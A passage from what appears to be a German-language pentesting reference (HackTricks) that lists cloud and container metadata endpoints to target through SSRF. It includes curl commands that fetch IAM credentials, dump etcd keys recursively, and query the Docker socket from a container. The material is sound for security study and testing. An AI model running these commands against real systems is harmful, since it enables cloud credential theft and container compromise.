"http://169.254.169.254/metadata/v1/placement_groups?version=2022-03-01" | jq # Get IAM credentials curl -s -X POST -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/instance_identity/v1/iam_token?version=2022-03-01" | jq ``` Dokumentation für die Metadatenservices verschiedener Plattformen ist unten aufgeführt, wobei die Methoden hervorgehoben werden, durch die Konfigurations- und Laufzeitinformationen für Instanzen abgerufen werden können. Jede Plattform bietet einzigartige Endpunkte zum Zugriff auf ihre Metadatenservices. ## Packetcloud Für den Zugriff auf die Metadaten von Packetcloud kann die Dokumentation unter folgender Adresse gefunden werden: [https://metadata.packet.net/userdata](https://metadata.packet.net/userdata) ## OpenStack/RackSpace Die Notwendigkeit für einen Header wird nicht erwähnt. Metadaten können über Folgendes abgerufen werden: - `http://169.254.169.254/openstack` ## HP Helion Die Notwendigkeit für einen Header wird hier ebenfalls nicht erwähnt. Metadaten sind zugänglich unter: - `http://169.254.169.254/2009-04-04/meta-data/` ## Oracle Cloud Oracle Cloud bietet eine Reihe von Endpunkten für den Zugriff auf verschiedene Aspekte der Metadaten: - `http://192.0.0.192/latest/` - `http://192.0.0.192/latest/user-data/` - `http://192.0.0.192/latest/meta-data/` - `http://192.0.0.192/latest/attributes/` ## Alibaba Alibaba bietet Endpunkte für den Zugriff auf Metadaten, einschließlich Instanz- und Bild-IDs: - `http://100.100.100.200/latest/meta-data/` - `http://100.100.100.200/latest/meta-data/instance-id` - `http://100.100.100.200/latest/meta-data/image-id` ## Kubernetes ETCD Kubernetes ETCD kann API-Schlüssel, interne IP-Adressen und Ports speichern. Der Zugriff wird demonstriert durch: - `curl -L http://127.0.0.1:2379/version` - `curl http://127.0.0.1:2379/v2/keys/?recursive=true` ## Docker Docker-Metadaten können lokal abgerufen werden, mit Beispielen für den Abruf von Container- und Bildinformationen: - Einfaches Beispiel zum Zugriff auf Container- und Bildmetadaten über den Docker-Socket: - `docker run -ti -v /var/run/docker.sock:/var/run/docker.sock bash` - Innerhalb des Containers verwenden Sie curl mit dem Docker-Socket: - `curl --unix-socket /var/run/docker.sock http://foo/containers/json` - `curl --unix-socket /var/run/docker.sock http://foo/images/json` ## Rancher Die Metadaten von Rancher können über Folgendes abgerufen werden: - `curl http://rancher-metadata//` {{#include ../../banners/hacktricks-training.md}}